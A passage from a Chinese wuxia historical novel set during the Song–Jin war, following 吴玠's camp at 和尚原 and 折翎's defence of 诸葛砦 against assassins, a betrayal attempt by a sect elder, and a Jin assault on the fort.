一时间,帐内众军校报国保家之情如薪似火,誓死抗金之声此起彼伏。安鸿、
十二等人在侧,也听得热血沸腾。待众人声少退,吴玠将指尖血在唇上一抹,昂
扬道:「今日我与诸君歃血!前事既往不咎,同心御守此原,使金军不得存进。
扶保大宋天下!扬我西军武威!」
众军校皆学吴玠一般以血加唇,齐声狂呼道:「扶保大宋天下!扬我西军武
威!」帐外军士听帐内喊嚷,亦齐声随之高呼。顿时,巍巍群山呼应,瞑暝群鸟
惊飞。其余军营中军士闻声不知所以,待听清主营内喊声,亦是热血上涌。
众军校呼喝正盛,帐外一卒匆匆而入,绕至吴玠耳畔,低低密语了数句。吴
玠听罢,挥退兵卒,举手止住众人,大笑道:「捷报!杨从义率军千二百人,以
诱敌之计攻占凤翔,得积粟数十万斛。粮队在路,已至半途!原上众军粮草之厄,
眼见可解!」
众军校闻言,又是一阵欢呼。吴玠下令众将各自归营收束军士,明晨于中军
帐前点卯。待众人皆恭谨行礼,一一散去之后,吴玠将安鸿让至主位,单膝点地
礼敬道:「今夜若不是安公子单剑守营门,舍命相救,吴玠此时已做刀下之鬼。
请安公子安稳,受吴玠一拜!」
吴璘、陈远猷、史天非皆在吴玠身后随拜,安鸿哪里肯受,跳起侧身让了,
口中连称不敢,运股柔和内力将众人搀住。十二在一旁笑得一朵花也似,便如同
受拜的乃是自己一般。吴玠几人被他一阻,竟无一人能拜下去,都在心里暗赞他
功力深厚。独吴璘瞥见一旁的十二,赞道:「这后生笑起来好生俊俏,可惜太过
瘦弱,征战定会力亏!」
十二嗤鼻道:「我家安公子比起你来亦是瘦弱,你可敢与他较量一番?」
吴璘想到营门地狱般场景,连连摇头摆手道:「若安公子是金狗,我豁出命
也向前拼了。不过安公子乃是我等强援,我才没那么傻送上去挨打!」
众人闻言皆笑,入夜以来的惊险忧心,尽化于无。安鸿心中惦念诸葛砦,想
起今日帐中与吴玠所订之策,笑了笑问道:「吴经略,如今张枢密所在及凤翔用
兵皆传喜讯,该用何略为佳?」
吴玠摇头,面上忽现愁容,叹口气道:「似天非这般传信回来,报知张枢密
驻跸处之人,已有数拨。我每得信,便遣人去那处寻张枢密、报知此地军情,可
次次落空,故这次才令天非用此稳妥之法。待与天非同去二人归来,方可定其确
实。到时,我遣天非与安公子同去,一来为折指挥求援军,二来亦为我和尚原求
些钱粮兵马。」
安鸿讶道:「凤翔不是解粮数十万斛至半途了么?」
吴玠下意识打量一下四周,肃容悄声叹道:「适才亲兵来报之信,乃是凤翔
粮队千人,于神岔城外大路上与金人厮杀了一场,整队人马于神沙河畔失去踪迹,
生死不知!」
************
「生死不知,踪迹全无!」
李豫没好气的瞥了瞥问话的王锦,看都不看折翎,便欲扬长而去。王锦怒道
:「这都多少日了!你怎地就是这般执拗?折将军现下乃是诸葛砦之主,你给我
恭敬些个!」
李豫停步道:「我心中,诸葛砦之主永远只是二公主一人!」
折翎举手止住色变的王锦,平静道:「无妨!」转身问李豫道:「李兄弟,
近二十日索砦,皆无所得么?」
李豫见折翎如此,也不好意思无礼太过,垂首答道:「说来奇怪,砦中各处,
竟是连那胡女的一丝踪迹也寻不见。砦众结营自保十余日,近来多有松懈者,却
也安然无事。那胡女许是杀了人便逃窜出砦子了!」
折翎颔首道:「近日有劳李兄弟辛苦奔波!砦中粮草军需清点的如何了?」
李豫闻言猛地抬头,不满道:「这管家之事,乃是我分内,定为……将军筹
备周全,不至物资缺匮。可是将军亦该约束所部,切勿浪费!那风慎一场火,用
去砦中全部火信、半数油料,大是可恨!」
折翎回头去看一直跟在身后的风慎,却只看到疾步去往架神臂弓处呼喝砦丁
的襕衫背影。李豫冷哼一声离去,王锦在旁道:「李豫虽是无礼,但所说之事确
实要紧。那场大火壮则壮矣,却是可一不可再。如当夜般为那整齐排场,演练的
士卒疲乏,亦是不值。」
折翎点点头道:「书生不识为战之苦!我已与他谈过,日后亦只许其筹划参
谋,再不用他主事,王兄放心。」王锦拱手自去,折翎下砦墙入砦中,寻得赵破、
又带了高诵晏虎欲出砦观敌。
到得砦墙后宽阔处,左见陆大安和章兴带着两队各十数人马舞刀牌对战,右
见郝挚教习砦中部分弓手运弓。一队妇孺老幼担水壶浆来与众人消渴,章兴一口
气喝完碗中水,向着提水桶蹒跚往郝挚处去的一老妪背影大叫添水。见老妪不理,
摇头讪笑道:「这张婆子越发耳聋了,喊住她硬是比活劈十个金狗还要费力!」
陆大安一旁凑趣道:「莫要胡吹大气!劫营那夜论功时,你只劈死九只!怎知死
十只金狗要出多大力气?」二人及周遭人笑闹,乱作一团。忽一人望见折翎,急
整肃行礼道:「折将军!」
众人闻声,无论砦左砦右,亦无论男女老少,皆恭然礼敬。自那夜劫营后,
追袭金人败军之战,数战皆胜。砦中个个将折翎视作天神,对敌战意亦是昂扬无
匹。郝挚行礼后,对折翎道:「将军可是要去困金狗处探查?」待折翎颔首,又
道:「恰好围营人时该换岗,我带了人手与将军同去。」
众人出砦,向左拐在林中行了几个时辰,便到了一处山谷。行到谷口外不远,
树后转出陈丹谢宝。不待折翎发问,抱拳禀道:「将军,谷中金狗剩了不足百人,
多半带伤。遵将军令,日间射脱逃,夜间射营火。金狗已三夜不敢举火,白日里
发狂窜出者与日俱增,眼见便是覆没之运。」
折翎温言勉励几句,下令换岗,一众弓手刀牌纷纷自树后隐匿处现身。正熙
攘时,谷中忽发一声喊,数十无恙及轻伤金兵在前,重伤难行金兵在后,冲突而
出,状若疯虎。围谷砦丁猝不及防,各自慌乱。折翎登高大呼道:「刀牌在前,
弓箭在后,各自原地守御。赵破突前带刀牌,箭营押后射敌将!」一边说,一边
弯弓搭箭,觑准突在最前那金兵一箭射出。
众人闻折翎语,心中皆安稳许多,各自依令而行。阵尚未成,已有五敌命丧
无翎箭下。众人见之,皆欣喜大呼,奋力杀敌。林中箭矢穿空,刀光霍霍,呼喝
声声,惨叫连连。仅顿饭工夫,金兵大多毙命,砦丁亦有二十余人带创,伤及性
命者却是半个也无。赵破顶在最前,杀了几个金兵后与一名金将缠斗。那金将使
一长柄大锤,舞动起来虎虎生风。赵破手中单刀相对短薄,不敢与之硬碰,只得
使足身法在金将周身绕砍。金将眼见身边金兵纷纷倒地,血灌瞳仁、状似疯癫,
大锤再也没什么章法,只是使蛮力乱舞。赵破趁机给他添了几处浅伤,渐渐占了
上风。
再过盏茶,金兵丧尽,只剩了浑身是血的使锤金人。折翎佩服他勇猛,又见
赵破稳居上风,遂令诸军打扫战场,收缴军器,自收了弓矢与郝挚高诵作壁上观。
那金将见众军殆尽,折翎等人虎视眈眈,心胆俱寒。一个疏忽,被赵破踢中手肘,
大锤脱手而出,砸在自己膝盖之上,登时跪地不起。赵破以刀加其颈,侧头望向
折翎,只待其一声令下,便取了金将性命。
折翎见状方欲示意赵破斩首,身旁郝挚咳嗽一声,嗫喏道:「将军,可否留
这个金狗一条性命?」
折翎心中奇怪,问道:「为何?」
郝挚踟蹰再三,答道:「阴平路险峻,骡马不能行。本就不为惯于平原行军
的金狗所喜,故此行军缓慢。先遣两队先锋,如今虽已被将军尽数斩杀,但后续
大队应不知情。将军借此人之口,将信传给后来金狗大队。使其知此处非但路险
难行,更有强军当道……」
听到此处,折翎击掌赞道:「妙极!妙极!金人必有段时候慌惧犹疑!请赵
破兄带同砦丁往远处,于必经之路上设置各种砦中捕兽机关。金人于路步步心惊,
我等箭营再于林中设伏,定会迫其降低行军速度。待金人缓行到砦前,二弟兴许
已带了援军赶回……」
赵破闻言亦笑赞道:「此法甚好!不过,也不能容这金狗完整回去!」说罢,
刷刷两刀将那金人的双耳齐根割下。金人惨叫一声,捂住己头两侧,指缝中鲜血
淋漓,汩汩而下。参战砦丁此时已收聚完毕,齐围拢过来哄笑。折翎戟指喝道:
「今日饶你不死,回去告知续来金狗,西军神箭营与蜀中诸葛砦同守此路,来者
定是有死无生!」
郝挚上前几步,抓住金人衣领道:「谨记我家将军言语!这便滚吧!」说罢
双臂使力,将金人扔了出去。金人落地翻滚,满身树叶尘泥,众人皆大笑。金人
环视了满地狼藉的尸首,目露凶光。郝挚待其看向自己,用手遥指了一个方向道
:「直直去走,自可出山。你若死在山中,可白费了我家将军留你之用!」金人
闻言,深深的看了郝挚一眼,怒气冲冲的哼了一声,拖着伤腿捂着头侧,一瘸一
拐的离去。
折翎率众归砦,令赵破遣斥候远探百里,又令王锦使砦丁于路广设机关陷阱,
而后亲自同风慎、李豫一道改良砦中原有弓弩、加固砦防,不觉间几日时光匆匆
而去。这日晨起,折翎与风慎在议事厅前凭高下望,见三坪二十余层台之中炊烟
处处、鸡犬声相闻不绝,时而妇人呵斥,时而幼儿哭啼,一派恬淡安乐景象。风
慎慨叹道:「似如此,真乃世外桃源!」
折翎回首望议事厅,亦叹道:「金人破关、涂炭中原,不知有多少如此桃源
之地骤起烽烟,又不知有多少两情相悦之人破家丧身、不得快活!」
风慎见折翎望议事厅而叹,知他心念巧云、仍难自拔,方欲出言相劝,却见
坪下路间,高诵带了名斥候急匆匆赶来。二人到了切近,那斥候行礼道:「折将
军,喜报!金人大队行进缓慢,几近于滞。七日前出了木门道,正渡白龙江之时,
恰逢江水暴涨,落水溺亡者不计其数。江上无舟可用,金军断为两截。前部约五
千人虽已过江,但粮草后勤一应之物皆落入水中,正四散打猎以资军食。」
风慎闻言,喜上眉梢。折翎只是淡淡嗯了一声,便命高诵带斥候去歇息用饭,
自与风慎下坪去砦前宣布此讯。行到下坪,前望砦墙不远,晏虎又带了名斥候急
匆匆赶来,行礼道:「折将军,喜报!白龙江大水,三日不退。江面之阔,使两
岸几不能对望。岸边道路,多被淹没。金军大队,退三十里扎下营盘。已渡江人
众,迁往山顶安营。营中不见炊烟,许是粮草已尽。」
风慎闻言再喜,折翎亦是一如前遭。晏虎望着折翎踟蹰不去,关切道:「将
军,云夫人去后你再也不曾展颜。云夫人若在,定然不喜。」说罢,眼圈微微泛
红。折翎心中感动,抚晏虎背默而不语。半响,方叹道:「放心,我自有数。」
挥手遣晏虎与斥候去了。
到得砦墙,寻见王赵李三人,折翎将斥候所言复述一遍,吩咐道:「既金兵
进军缓慢,我等便可从容布置,砦中亦无需留守太众。请王兄赵兄率砦众去林中
助设置机关弟兄们赶工,留十余人在砦中,助我与风先生、李兄弟守砦即可。」
风慎在一旁捻须道:「风某有一提议。不若请王堂主率章兴及半数砦众去林
中助设机关陷阱,赵堂主率陆大安及另半数砦众在机关侧后多设营垒。翌日金兵
渡江入林后,折将军便可携近日所教授弓手出砦,依托机关之助,层层防御,胜
过枯守砦墙多矣!」
折翎四人闻言,皆抚掌称善,遂依计而行。王锦赵破出砦约有半日,折翎正
在砦墙上与李豫一道筹划方略,忽望见砦外斜坡处一浑身浴血之人飞奔而至。离
砦墙尚有段距离时,那人噗通一声摔倒在地,大声哭叫道:「折将军,大事不好!
王赵二位堂主被金兵重重围困,派我拼死杀出向将军求援!」
墙上众人尽皆色变,折翎飞身而下,扶起地上那人急切问道:「围在何处?
金兵多少?」
那人面上亦是涂满鲜血,涕泣道:「金兵数千,将二位堂主围在……」声音
渐小,身子亦缓缓委顿下去。折翎大急,俯身相就,侧耳细听。那人作欲死之态,
忽怒目圆睁,翻腕亮出一枚三寸长尖刺,向着折翎心口猛地刺来。折翎眼见寒光
闪闪,躲避已是不及,只好尽力将身子向下缩去。尖刺入肉,刺在左肩侧锁骨之
下,直没至无。
折翎忍痛,运了内力一掌推出。那人一击得手,一个地滚正欲遁去,忽觉脑
后掌风雄浑,笼罩颇广。虽是不敢迎接,却无可选择,只得拼尽全力回身出掌。
掌风相对,那人耳听喀拉一声,继而剧痛传来,腕骨掌骨俱碎;胸腹间如遭大锤
猛击,口喷鲜血,躺在地上难以动弹。折翎一招制敌,正欲喝问其来历。路两侧
密林中同时窜出五个身影,将折翎围在当中,似乎用了某种合击之法,进退之间
颇为默契。
砦墙上众人见折翎被伤,又见折翎陷入围中不得脱,个个大惊失色。风慎李
豫乃是文人,箭营众人箭术超群,近身攻战却是稀松,陆大安章兴出砦去了设机
关处,一时之间,竟是援无其法,救无得人。
折翎在五人围中,初时受五人合击之法所制,束手束脚,渐渐惯了对方套路
后,便一点点占了上风。高窜低伏,东挡西接,将五人小阵压制的有守无攻。正
争斗间,忽觉尖刺伤处一阵酸麻传来,将左臂带的乏力。心中暗暗叫了声「不好」,
忍痛发力,竟愈见神勇,意在速战速决。
围攻的五人感折翎掌风忽变,如墙似壁般压迫过来,使人难以躲避抵挡。片
刻,其中一个被掌风扫到左腿,骨断筋折,仆倒于地。折翎起脚踏在他咽喉之上,
登时一命呜呼。小阵阙一,立显散乱。又战了盏茶功夫,三人死,一人伤,危情
已解。那伤者在怀中摸出一枚飞镖,脱手掷向折翎面门,转头就跑。折翎躲过,
提气要追,却觉脑内一阵眩晕。知是尖刺有毒,不敢大意,忙停步拔出尖刺、运
息驱毒。伤者躲过墙上箭营射来几支羽箭,借折翎疗伤之机远遁,眼见入林,忽
一只铁锥自侧刺来,穿胸而死。
魏庆刺死那人,急掠至折翎身侧,运功助他驱毒。箭营人等下墙,欲将最先
行刺那人擒回砦中。离那人数步之遥的时候,只见他挣扎坐起,虚弱吟诵道:「
如有得住彼国者,究竟普会无忧愁。」语出之间,七窍流血,身死魂灭。众人惊
诧,只得在一地死尸身上搜索,希冀寻出可证来历身份之物,谁知却是一无所得。
半响,折翎驱毒毕,缓缓睁眼。问知众人搜索无果,回头关切道:「你以真
气助我,自己身上的伤势可大好了?」
魏庆答道:「已无大碍,有劳将军挂怀!久在房中气闷,今日在山中散心,
不料居然有人行刺将军。魏庆保护不周,还请将军恕罪!」
折翎摇手示意无碍,起身正待回砦,远处又有一浴血之人飞奔而来,于途大
叫:「折将军,大事不好!」
箭营众人有前车之鉴,声音入耳,不约而同地在折翎身前站成一排,弯弓搭
箭直指来人。来人见状,急停步喊道:「我受赵堂主之命,有紧要军情报与折将
军!」
此时,砦左峰顶上有一女声喊道:「休伤了我家二牛,他在赵堂主麾下做斥
候的!」众箭手闻声,心中大定,弦松箭收。来人见状,疾步向前,正欲开言,
一支箭如电飞来,自右肋处射透、穿肩胛而出。飞箭内蕴真气,骨脏皆创。那人
喷出口鲜血,向后退了十数步靠在树上。忽又一箭飞来,穿左肩将来人笃的一声
钉在了树上。
众人望去,见羽箭无翎,尚不及愕然回望,耳边已响起折翎之命:「魏庆当
先,郝挚押后,你等速去砦左峰顶台上擒人,生死勿论!适才那说话声音,乃是
娜娜那胡女!万万小心!」
折翎一面说,一面轻身掠至木前那人处喝问道:「尔等是何人?竟敢伙同胡
女,连番行刺!」
那人被箭钉在树上,又被箭中真气伤了肺腑,正自调息不止。待折翎近前问
话,见他左肩伤处血流不止,显是适才强开弓时将伤口撕的更大,遂阴惨惨一笑,
双脚一踏树身,忍痛穿箭过体,一掌直拍折翎前胸。折翎不料来人坚毅如此,被
他一掌结结实实打在胸口,登时飙血倒飞而出。那人拼死一击,箭穿处鲜血狂涌,
肋骨断处疼痛无比,情知无力再战。抬眼见刚刚回至砦门处的箭营众人正在往回
飞奔,遂不顾折翎死活,摇摇晃晃轻身逃去。几息后,忽听身后有风雷之声,扭
身回望,两枝箭分作两路,上先下后呼啸而来。那人面色一凛,将余下内劲贯在
左手,由上而下在身前竖着拍落,意图一掌断双箭。不料下面那支无翎箭倏地加
速,后发先至,穿过腹部正中。箭上真气于腹中爆散,将肚肠炸做截段。
折翎双箭同出,所耗不小,左肩伤处,伤损愈重。眼见着逃走之人中箭,心
头一松,晃了几晃,向后便倒。恰好赶到的箭营众人一拥而上,将折翎护在当中。
折翎调息片刻,指峰顶道:「不必理我,休得走了那胡女!」箭营众人听他中气
不足,面面相觑,无人肯动,只是七手八脚的从身上撕扯布条,为折翎裹伤。
折翎见状,无奈叹息。教魏庆在自己身上认了几个穴道,让他为自己点穴止
血。魏庆依样施法才毕,远处又奔来一人大喊道:「折将军,大事不好!」
箭手闻言尽皆愤怒,起身搭箭时却发现来者乃是赵破。赵破见众人以箭相指,
亦是错愕,待见到折翎被伤,忙抢前询问。待折翎问起来意才恍然急道:「折将
军,斥候来报。金兵不知从何处偷渡了白龙江,兵锋已至玉垒关前。江边山顶那
营,乃是疑兵!」
折翎惊问道:「玉垒关大路至此处,岂不是只得一日夜路程?」
赵破惭愧答道:「我手下斥候,乃赵某亲手调教,轻易不会出错上当。如今
传回情报,错漏百出,定是我师尊孟门大长老在金营中调遣。若真是他老人家在,
此段距离抄近恐只需一日便可到达。自我接斥候消息,到我赶回砦,已过半日了。」
折翎忍痛起身,吩咐了箭营众人去砦中传令备战,再问赵破道:「王锦兄与
砦中设伏青壮,现在何处?」
赵破扶了折翎,边走边道:「得信后,我在前急赶,他带大队随后。个把时
辰,便该回来。」
两人说话间,看看到了护河边,斜坡远处隐隐传来驳杂脚步声音。二人回望,
只见一队金兵飞快行进,其数约有三百。队前有一身影,电闪般向前飞掠,瞬息
便已来在折赵眼前。来人一掌向下拍出、将二人笼罩,身形却毫不停顿,直直往
尚未关闭的砦门处飘飞。折翎见势不妙,也不顾来人掌风临身,轻身而起、勾指
成爪,鼓余劲不吐反吸,意图将来人留住。一旁赵破大喝一声,双掌交叠上推,
欲正面抗下来者掌力。
来人身在空中,以为地上二人功力相若,自己一掌足以脱身去控制砦门,以
便金兵入砦。忽然一股沛然吸力自下而来,若不躲避,恐有受伤之虞。只得皱眉
轻「咦」了一声,缓了口气变幻掌法、又硬生生止住去势,一个旋身回落在护河
边不远。
赵破晓得来者身份,自知不敌,故推掌时用尽全力。谁知对面雄浑掌风倏地
消失,自己一身力皆打在空处,身子里空荡荡的难受,喉头一紧,险些呕血。折
翎使内力去抓来人,本就劲力向回,不料对方掌风忽变,裹挟着自己的内劲向自
己打过来。虽是极力闪避,却还是难脱厄运,血气翻涌、伤上加伤。捂着胸口,
借对方掌风余力,向后飘过护河,踉跄坐倒。将眼望来人,只见一白发老者,虎
鼻鹰目,身着黑衣,亦正远远审视自己。
老者见魏庆已带了几人抢出砦门,知时机已失,遂负手冷冷一笑道:「雀巢
鸠占,果然有些料子!」将头转向赵破斥道:「你这逆徒!欺师灭祖!趁我不在
砦中,竟做下如此好事!」
赵破闻言,噗通跪倒,叩头答道:「孟门于我,乃家国一体。我之艺业本领,
皆是师父传授。徒儿怎敢做欺师灭祖这类大逆不道之事?只是二公主遗命,令我
助折将军守砦抗金。徒儿自幼入孟门,二公主有令,安敢不从?还请师父体谅!」
老者闻言,又是一阵冷笑,哂道:「行不忠不义之事,偏生寻个大义名头!
好!如今我以孟门长老的身份命你献砦与金人,助其入蜀灭宋,以报我孟门百年
之怨!」
老者话音落时,那队金兵已来在不远。老者举手示意众军停步,直视赵破,
等他回答。赵破咚咚咚磕了三个响头,起身坚定道:「门规有云,孟门乃孟氏之
孟门,护门使及长老皆应受孟氏驱使,不得违背。如今长老之令,与二公主遗命
相悖,恕属下不敢奉令!」
老者戟指怒喝道:「好胆!我蜀人遭赵家百年屠戮压榨,你都不顾了么?切
莫忘记,你祖上名讳,尚在议事厅中高挂!你是个蜀人!」
赵破垂首叹气道:「师父,徒儿不敢玷污祖上英名,亦当秉承祖上遗志。但
无论是蜀是宋,皆属华夏一统。二公主在砦中读书时曾教徒儿等说,兄弟阋墙,
外御其侮。徒儿深以为然,绝不敢为蜀宋之争而勾结胡虏,断送我华夏江山!王
锦李豫及砦中众人,亦与徒儿所想一般!」
老者大怒,运气抬手喝道:「逆徒!今日我便毙了你!」说罢,左手在身后
一招,金兵会意,呐喊而来。老者抬起的右手方欲击下,忽觉砦门处有风雷袭来,
遂手腕一转,将掌力击在那股风雷之上。二力相交,轰然作响,无翎箭矢,碎若
齑粉。
折翎将所剩内力尽数附着于箭,箭离弦,人倾倒,连喝道:「快回来!放箭!」
赵破一个箭步窜过护河,与魏庆一道将折翎拽进砦门。箭营众人早在墙上蓄势以
待,此刻得令,便将支支羽箭抛洒下来。
老者被折翎一箭震得身体摇晃,再想追击时砦门已闭。墙高难越,又加箭矢
袭来,只得退避三舍。随来金兵,个个擎盾。十几人将老者护往远处,余下二百
余呐喊着往砦墙冲击。老者在后呼唤不许攻砦,却无人听从,只喝止不住。
墙上除箭营五人外,只有十余砦丁。虽个个持弓,箭雨亦是稀疏,难以阻拦
金兵脚步。这股金兵甚是骁勇,列了一队在稍远处与墙上对射,余者皆向前冲阵。
至护河时,在前者不顾生死将手中盾在身后斜斜立住,在后者用此斜盾为踏板,
前赴后继地纵跃过河。除少数跌落河中,被湍急河水冲走外,多数成功过河。墙
上十余把弓射死几名做踏板者,又射死些在空中纵跃之人,却难挡金兵人多。片
刻之后,砦墙之下已有金人数十,以匕刺木墙,靠强悍臂力一点点向上攀爬。
墙上箭营五人岿然不动,在郝挚发令声中集中了箭矢,时而远击对射金兵,
时而低杀砦墙上攀爬之人。十余砦丁见敌过河便已慌乱,手中持弓不稳,惶急间
亦不知该射向何处。墙下过河金兵,渐见密集。
正危急时,砦左峰上忽起一阵鼓声,石块大者如碗口,小者若鸡蛋,如雨般
随鼓声泼洒而下。金兵不防备有此,举盾不及,被砸的鼻青脸肿、头破血流。其
中一将领模样之人举盾大呼,其声方出,便被一箭射穿了喉咙。众金兵一阵惊恐,
墙上箭营却起一声欢呼。呼声中,折翎面色苍白,举弓接连射死三名将领打扮的
金人。收弓喘息道:「陈丹、谢宝,上左峰,专射黑衣老者护卫,其余不问。赵
兄、魏庆,率砦丁弃弓取刀,专砍攀墙上来金兵。郝挚、高诵、晏虎,三才箭阵,
射河边以盾为阶之人。」言罢,张弓又是一箭,将攀在墙上的两名金兵穿在一处。
众人见折翎,心中大定,个个精神抖擞、依令而行。金兵处处受敌,渐呈败
象。折翎虽每出箭后,歇息时间便更长些,但箭箭毙敌,亦令金人惊恐、砦人心
安。
左峰之上,备战多日以来,风慎李豫已率众在峰顶四周设列半人高木栅以策
安全、方便守峰者凭高下视,又在木栅内储备擂石、以备攻战。此时派上用场,
遂带着一众做饭担水的妇孺,将累日所蓄的石块向下抛砸的不亦乐乎。眼见金兵
死伤者渐多,人潮开始如水般退却,二人凭栏下望,指金兵狼狈者大笑。孟门大
长老身边一金将被陈丹谢宝射的烦躁,心中怒气正无处排遣,闻听风李二人笑声,
抽冷子一箭射向二人。谢宝眼疾手快,弃弓将二人向后一扯,羽箭嗖的一声自二
人眼前飞过。李豫一跤跌倒,风慎向后急急退了几步,口中呢喃着「吓煞本官、
吓煞本官」,顺势倚在了峰顶储擂石的木栏之上。谢宝见二人无恙,长出一口气,
叹道:「好险!」叹声未落,风慎倚靠之栏喀喇一声响,四面皆断,内中擂石一
涌而出。风慎猝不及防,被滚石带着往峰后摔去。谢宝一个跃身,倒地抓住风慎
衣袖,却亦被滚石带走。峰后方向木栅虽未如峰前临战这侧修的那般结实,却也
皆是山中大木建造而成。谁知此刻整面木栅遇石便断做数截,连同滚石无数,裹
挟着风谢二人掉落峰下。